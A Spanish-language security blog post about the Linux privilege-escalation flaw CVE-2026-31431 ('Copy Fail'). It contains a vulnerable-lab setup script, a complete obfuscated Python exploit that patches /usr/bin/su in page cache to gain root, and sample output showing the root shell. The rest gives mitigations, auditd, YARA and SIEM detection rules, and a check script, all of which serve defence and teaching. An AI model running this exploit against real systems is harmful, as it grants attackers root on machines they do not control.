CVE-2026-31431 Copy Fail: escalada de privilegios en Linux desde 2017

#!/bin/bash
# deploy_copy_fail_lab.sh - Lab para CVE-2026-31431 (Copy Fail)
# Uso: chmod +x deploy_copy_fail_lab.sh && ./deploy_copy_fail_lab.sh

LAB_DIR="copy_fail_lab"

echo "=== CVE-2026-31431 (Copy Fail) Lab ==="
echo "Creando directorio: $LAB_DIR"

mkdir -p "$LAB_DIR"

cat > "$LAB_DIR/Vagrantfile" << 'EOF'
# -*- mode: ruby -*-
# CVE-2026-31431 (Copy Fail) - Lab vulnerable
# Kernel afectado: 4.14 - 6.19.11

Vagrant.configure("2") do |config|
  config.vm.box = "debian/bookworm64"
  config.vm.hostname = "copy-fail-lab"

  config.vm.provider "virtualbox" do |vb|
    vb.name = "copy-fail-lab"
    vb.memory = "2048"
    vb.cpus = 2
  end

  config.vm.provision "shell", inline: <<-SHELL
    # No actualizar kernel para mantener version vulnerable
    apt-mark hold linux-image-amd64 linux-image-$(uname -r)

    # Instalar dependencias minimas
    apt-get update -qq
    apt-get install -y -qq python3 curl

    # Crear usuario sin privilegios para la prueba
    useradd -m -s /bin/bash attacker
    echo "attacker:attacker" | chpasswd

    # Descargar el exploit
    curl -sL https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/copy_fail_exp.py \
      -o /home/attacker/copy_fail_exp.py
    chown attacker:attacker /home/attacker/copy_fail_exp.py

    # Info del kernel
    echo ""
    echo "============================================"
    echo " CVE-2026-31431 Copy Fail Lab"
    echo " Kernel: $(uname -r)"
    echo "============================================"
    echo ""
    echo " Para explotar:"
    echo "   vagrant ssh"
    echo "   su - attacker  (pass: attacker)"
    echo "   python3 copy_fail_exp.py"
    echo ""
    echo " Para mitigar:"
    echo "   echo 'install algif_aead /bin/false' > /etc/modprobe.d/disable-algif.conf"
    echo "   rmmod algif_aead 2>/dev/null"
    echo "============================================"
  SHELL
end
EOF

echo ""
echo "Levantando VM..."
cd "$LAB_DIR" && vagrant up

echo ""
echo "Lab listo. Conecta con: cd $LAB_DIR && vagrant ssh"

chmod +x deploy_copy_fail_lab.sh
./deploy_copy_fail_lab.sh

vagrant ssh

# Comprobar kernel en rango afectado
uname -r
# 6.1.0-29-amd64

# Comprobar que el modulo algif_aead esta cargado
lsmod | grep algif
# algif_aead             16384  0
# af_alg                 36864  1 algif_aead

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

# Cambiar al usuario sin privilegios
su - attacker
# Password: attacker

# Verificar que somos usuario normal
id
# uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

# Ejecutar el exploit
python3 copy_fail_exp.py

# El exploit modifica /usr/bin/su en page cache y lo ejecuta
# Resultado: root shell sin password
id
# uid=0(root) gid=1001(attacker) groups=1001(attacker)

# Desde root o vagrant
sync && reboot

# 1. Evitar que se cargue en el futuro
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf

# 2. Descargar el modulo si esta cargado (no requiere reboot)
rmmod algif_aead 2>/dev/null

# 3. Verificar
lsmod | grep algif_aead
# (sin output = modulo descargado)

{
  "defaultAction": "SCTP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket"],
      "action": "SCTP_ACT_ERRNO",
      "args": [
        {
          "index": 0,
          "value": 38,
          "op": "SCTP_CMP_EQ"
        }
      ]
    }
  ]
}

apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: profiles/block-af-alg.json
  containers:
    - name: app
      image: myapp:latest

# Detectar apertura de sockets AF_ALG (familia 38)
auditctl -a always,exit -F arch=b64 -S socket -F a0=38 -k copy_fail_attempt

# Verificar intentos
ausearch -k copy_fail_attempt

# Listar binarios setuid del sistema
find / -perm -4000 -type f 2>/dev/null

# Proteger con chattr (requiere ext4/xfs)
# ATENCION: esto puede romper funcionalidad. Solo para binarios no criticos.
chattr +i /usr/bin/su  # Hace el fichero inmutable

su - attacker
python3 copy_fail_exp.py
# OSError: [Errno 2] No such file or directory
# o
# OSError: [Errno 97] Address family not supported by protocol

# /etc/audit/rules.d/copy-fail.rules

# Detectar creacion de sockets AF_ALG (familia 38)
-a always,exit -F arch=b64 -S socket -F a0=38 -k copy_fail_af_alg

# Detectar uso de splice() en combinacion con ficheros setuid
-a always,exit -F arch=b64 -S splice -k copy_fail_splice

# Detectar acceso de lectura a binarios setuid por usuarios no-root
-a always,exit -F arch=b64 -S open -S openat -F path=/usr/bin/su -F perm=r -F auid>=1000 -k copy_fail_setuid_read
-a always,exit -F arch=b64 -S open -S openat -F path=/usr/bin/passwd -F perm=r -F auid>=1000 -k copy_fail_setuid_read
-a always,exit -F arch=b64 -S open -S openat -F path=/usr/bin/sudo -F perm=r -F auid>=1000 -k copy_fail_setuid_read

augenrules --load
# Verificar
ausearch -k copy_fail_af_alg -ts recent

rule CopyFail_CVE_2026_31431 {
    meta:
        description = "Detecta el exploit Copy Fail (CVE-2026-31431)"
        author = "Red Orbita"
        date = "2026-05-05"
        cve = "CVE-2026-31431"
        severity = "critical"

    strings:
        // Cadena del algoritmo AEAD usado por el exploit
        $algo = "authencesn(hmac(sha256),cbc(aes))" ascii

        // Socket AF_ALG (familia 38 = 0x26)
        $socket_af_alg = { 26 00 00 00 }

        // Payload comprimido zlib del exploit original
        $zlib_payload = "78daab77f57163626464800126063b06" ascii

        // Binding al tipo "aead"
        $bind_aead = "aead" ascii

        // Patron de la funcion splice con pipe
        $splice_pattern = /g\.splice\(.*offset_src=0\)/

        // Variante: import ofuscado
        $import_obf = "import os as g,zlib,socket as s" ascii

    condition:
        ($algo and $bind_aead) or
        ($zlib_payload) or
        ($import_obf and $splice_pattern) or
        (3 of them)
}

rule CopyFail_Modified_Setuid {
    meta:
        description = "Detecta binarios setuid potencialmente modificados por Copy Fail"
        author = "Red Orbita"
        date = "2026-05-05"
        severity = "high"

    strings:
        // Cabecera ELF valida
        $elf = { 7F 45 4C 46 }

        // Strings esperadas en /usr/bin/su legitimo
        $su_str1 = "setuid" ascii
        $su_str2 = "PAM" ascii

        // Patron sospechoso: shellcode inyectado tipico
        $shellcode_execve = { 48 31 c0 48 31 ff 48 31 f6 48 31 d2 }
        $shellcode_setuid = { 48 31 ff b0 69 0f 05 }

    condition:
        $elf at 0 and ($shellcode_execve or $shellcode_setuid)
}

# Escanear procesos en memoria
yara -p 4 copy_fail.yar /proc/*/exe 2>/dev/null

# Escanear directorios de usuarios
yara -r copy_fail.yar /home/ /tmp/ /var/tmp/ /dev/shm/

# Escanear binarios setuid
find / -perm -4000 -type f -exec yara copy_fail.yar {} \; 2>/dev/null

<group name="copy_fail,exploit,cve-2026-31431">

  <!-- Deteccion de socket AF_ALG via auditd -->
  <rule id="100500" level="14">
    <if_sid>80700</if_sid>
    <field name="audit.key">copy_fail_af_alg</field>
    <description>CVE-2026-31431: Intento de crear socket AF_ALG detectado (posible Copy Fail)</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Deteccion de splice sospechoso -->
  <rule id="100501" level="12">
    <if_sid>80700</if_sid>
    <field name="audit.key">copy_fail_splice</field>
    <description>CVE-2026-31431: Syscall splice detectada (indicador de Copy Fail)</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Lectura de binario setuid por usuario no privilegiado -->
  <rule id="100502" level="10">
    <if_sid>80700</if_sid>
    <field name="audit.key">copy_fail_setuid_read</field>
    <description>CVE-2026-31431: Lectura de binario setuid por usuario no-root</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Correlacion: AF_ALG + splice en menos de 5 segundos = alta probabilidad -->
  <rule id="100503" level="15" frequency="2" timeframe="5">
    <if_matched_sid>100500</if_matched_sid>
    <same_source_ip/>
    <description>CVE-2026-31431: Explotacion Copy Fail en curso (AF_ALG + splice correlados)</description>
    <mitre>
      <id>T1068</id>
      <id>T1548.001</id>
    </mitre>
    <group>exploit_attempt,attack,</group>
  </rule>

  <!-- Deteccion post-explotacion: escalada de privilegios repentina -->
  <rule id="100504" level="14">
    <if_sid>5303</if_sid>
    <match>session opened for user root</match>
    <description>CVE-2026-31431: Sesion root abierta (posible post-explotacion Copy Fail)</description>
    <mitre>
      <id>T1548.001</id>
    </mitre>
    <group>privilege_escalation,</group>
  </rule>

</group>

systemctl restart wazuh-manager

{
  "rule": {
    "name": "CVE-2026-31431 Copy Fail - AF_ALG Socket Creation",
    "description": "Detecta la creacion de sockets AF_ALG que pueden indicar explotacion de Copy Fail",
    "severity": "critical",
    "risk_score": 95,
    "type": "eql",
    "query": "process where event.action == \"socket\" and auditd.data.a0 == \"26\"",
    "threat": [
      {
        "framework": "MITRE ATT&CK",
        "tactic": {
          "id": "TA0004",
          "name": "Privilege Escalation"
        },
        "technique": [
          {
            "id": "T1068",
            "name": "Exploitation for Privilege Escalation"
          }
        ]
      }
    ],
    "tags": ["CVE-2026-31431", "Copy Fail", "LPE", "Linux"]
  }
}

# Buscar creacion de sockets AF_ALG
auditd.data.syscall: "socket" AND auditd.data.a0: "26"

# Buscar uso de splice por usuarios no-root
auditd.data.syscall: "splice" AND user.id >= 1000

# Correlacion: usuario no-root que abre binario setuid + socket AF_ALG
auditd.data.key: ("copy_fail_af_alg" OR "copy_fail_splice" OR "copy_fail_setuid_read")

| Deteccion principal: socket AF_ALG
index=linux sourcetype=linux:audit syscall=socket a0=26
| stats count by host, auid, exe, _time
| where auid >= 1000
| sort -_time

| Correlacion: AF_ALG + splice en ventana de 10 segundos
index=linux sourcetype=linux:audit (syscall=socket a0=26) OR (syscall=splice)
| transaction host auid maxspan=10s
| where eventcount >= 2
| table _time, host, auid, exe, syscall

| Deteccion de lectura de setuid por no-root
index=linux sourcetype=linux:audit key="copy_fail_setuid_read"
| stats count by host, auid, exe, name
| where count > 0

| Alerta: posible explotacion Copy Fail
index=linux sourcetype=linux:audit key="copy_fail_af_alg"
| stats count as attempts by host, auid, exe
| where attempts >= 1
| eval severity="critical"
| eval description="CVE-2026-31431: Intento de explotacion Copy Fail detectado"

Rule Name: CVE-2026-31431 Copy Fail - AF_ALG Socket
Rule Type: Event
Log Source Type: Linux OS
Event Category: Audit
Condition:
  when the event matches ALL of the following:
    - Event Name contains "SYSCALL"
    - AND UTF8(Payload) contains "syscall=41" (socket)
    - AND UTF8(Payload) contains "a0=26" (AF_ALG)
    - AND UTF8(Payload) MATCHES "auid=[1-9][0-9]{3,}"
Action: Dispatch New Offense
Severity: 9 (Critical)
Credibility: 10

Rule Name: CVE-2026-31431 Copy Fail - Exploitation Chain
Rule Type: Event (Sequence)
Log Source Type: Linux OS
Sequence:
  1. Event contains "syscall=41" AND "a0=26" (AF_ALG socket)
  2. FOLLOWED BY Event contains "syscall=275" (splice) within 10 seconds
  3. FROM same Source IP AND same Username
Action: Dispatch High Offense
Severity: 10 (Maximum)
MITRE: T1068, T1548.001

Rule Name: BB - Setuid Binary Read by Non-Root
Rule Type: Building Block
Condition:
  - Event Name contains "SYSCALL"
  - AND UTF8(Payload) contains "key=\"copy_fail_setuid_read\""
Note: Usar como dependencia de la Rule 2 para aumentar credibilidad

Property Name: Audit_Socket_Family
Property Type: Custom Event Property
Regex: a0=([0-9a-f]+)
Log Source: LinuxServer
Field Type: Numeric

#!/bin/bash
# check_copy_fail.sh - Verificar estado de CVE-2026-31431

echo "=== CVE-2026-31431 Copy Fail - Check ==="
echo ""

# 1. Verificar si el modulo esta cargado
if lsmod | grep -q algif_aead; then
    echo "[VULNERABLE] Modulo algif_aead cargado"
else
    echo "[OK] Modulo algif_aead NO cargado"
fi

# 2. Verificar version del kernel
KERNEL=$(uname -r)
echo "[INFO] Kernel: $KERNEL"

# 3. Buscar el exploit en el sistema
echo ""
echo "Buscando indicadores de compromiso..."
FOUND=0

# Buscar el script del exploit
grep -r "authencesn(hmac(sha256),cbc(aes))" /tmp /var/tmp /dev/shm /home 2>/dev/null && FOUND=1
grep -r "78daab77f571636264" /tmp /var/tmp /dev/shm /home 2>/dev/null && FOUND=1

# Buscar procesos sospechosos con AF_ALG
if ss -xa 2>/dev/null | grep -q alg; then
    echo "[ALERTA] Sockets AF_ALG activos detectados"
    ss -xa | grep alg
    FOUND=1
fi

# Verificar integridad de binarios setuid
echo ""
echo "Verificando binarios setuid..."
for bin in /usr/bin/su /usr/bin/sudo /usr/bin/passwd; do
    if [ -f "$bin" ]; then
        HASH=$(sha256sum "$bin" | awk '{print $1}')
        echo "  $bin: $HASH"
        # Comparar con hash conocido del paquete
        EXPECTED=$(dpkg -V $(dpkg -S "$bin" 2>/dev/null | cut -d: -f1) 2>/dev/null | grep "$bin")
        if [ -n "$EXPECTED" ]; then
            echo "  [ALERTA] Binario modificado: $EXPECTED"
            FOUND=1
        fi
    fi
done

echo ""
if [ $FOUND -eq 1 ]; then
    echo "[ALERTA] Se encontraron indicadores sospechosos"
else
    echo "[OK] No se encontraron indicadores de compromiso"
fi

apt update && apt upgrade -y linux-image-amd64
reboot

dnf update kernel -y
reboot

dnf update kernel -y
reboot

uname -r
# Debe ser >= 6.1.128 (Debian), >= 6.19.12 (mainline)
# o la version con backport de tu distro

# Comprobar que el exploit ya no funciona
sudo -u attacker python3 /home/attacker/copy_fail_exp.py
# Debe fallar o no producir escalada